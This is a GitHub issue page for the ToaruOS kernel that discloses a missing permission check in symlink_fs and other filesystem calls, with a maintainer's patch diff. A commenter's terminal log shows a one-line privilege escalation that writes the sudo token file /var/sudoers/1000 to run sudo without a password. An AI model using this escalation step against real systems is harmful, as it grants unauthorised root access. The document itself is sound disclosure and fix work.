-
-
Notifications
You must be signed in to change notification settings - Fork 492
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Missing permission checks on symlink_fs leads to privilege escalation using sudo #307
Comments
If the /var/sudoers/1000 file already exists due to a successful login attempt, you can also just write to the file after the timeout. local@livecd ~$ sudo ls [12/30 17:59:16]
[sudo] password for local:
Desktop README.md text_layout.krk
local@livecd ~$ sudo ls [12/30 18:04:21]
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
sudo: 3 incorrect password attempts
local@livecd 1 ~$ echo "root please" > /var/sudoers/1000 [12/30 18:04:48]
local@livecd ~$ sudo ls [12/30 18:04:56]
Desktop README.md text_layout.krk
|
Ah, even that's wrong... that's only checking for
This seems to work because of a combination of two things - we're never examining directory 'search' permissions... so while there is a check that you can't otherwise edit the directory entries because I think this should suffice to fix the diff --git a/kernel/vfs/vfs.c b/kernel/vfs/vfs.c
index bf4c559f..11fd8e9e 100644
--- a/kernel/vfs/vfs.c
+++ b/kernel/vfs/vfs.c
@@ -392,8 +392,10 @@ int create_file_fs(char *name, mode_t permission) {
return -ENOENT;
}
- if (!has_permission(parent, 02)) {
- debug_print(WARNING, "bad permissions");
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
+ free(path);
+ close_fs(parent);
return -EACCES;
}
@@ -441,7 +443,7 @@ int unlink_fs(char * name) {
return -ENOENT;
}
- if (!has_permission(parent, 02)) {
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
free(path);
close_fs(parent);
return -EACCES;
@@ -499,17 +501,11 @@ int mkdir_fs(char *name, mode_t permission) {
return -EEXIST;
}
- fs_node_t * this = kopen(path, 0);
- int _exists = 0;
- if (this) { /* We need to do this because permission check stuff... */
- close_fs(this);
- _exists = 1;
- }
-
- if (!has_permission(parent, 02)) {
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
free(path);
close_fs(parent);
- return _exists ? -EEXIST : -EACCES;
+ return -EACCES;
}
int ret = 0;
@@ -564,6 +560,13 @@ int symlink_fs(char * target, char * name) {
return -ENOENT;
}
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
+ free(path);
+ close_fs(parent);
+ return -EACCES;
+ }
+
int ret = 0;
if (parent->symlink) {
ret = parent->symlink(parent, target, f_path);
@@ -1095,6 +1098,15 @@ fs_node_t *kopen_recur(const char *filename, uint64_t flags, uint64_t symlink_de
return node_ptr;
}
/* We are still searching... */
+ if (!has_permission(node_ptr, 01)) {
+ /*
+ * TODO: kopen_recur has no way to pass along a failure reason?
+ * This will appear as 'ENOENT' instead of 'EACCESS', should fix that...
+ */
+ free(node_ptr);
+ free((void*)path);
+ return NULL;
+ }
debug_print(INFO, "... Searching for %s", path_offset);
fs_node_t * node_next = finddir_fs(node_ptr, path_offset);
free(node_ptr); /* Always a clone or an unopened thing */ |
Missing permission checks in symlink_fs lead to privilege escalation by creating a symbolic link at /var/sudoers/1000 pointing to a file with a recent timestamp.
sudo uses a token_file with a timestamp to check for previous sudo usages, so it does not prompt the user for a password all the time:
symlink_fs allows to create file anywhere, as long as it does not overwrite an existing file.
With the arbitrary file write using symlink_fs, we can create the
/var/sudoers/1000
token_file and pass this check without entering the password.The other filesystem related syscalls use a permission check function, which symlink_fs seems to be missing.
toaruos/kernel/vfs/vfs.c
Line 509 in e03e2ff
Over all, the privilege escalation PoC looks as follows:
The text was updated successfully, but these errors were encountered: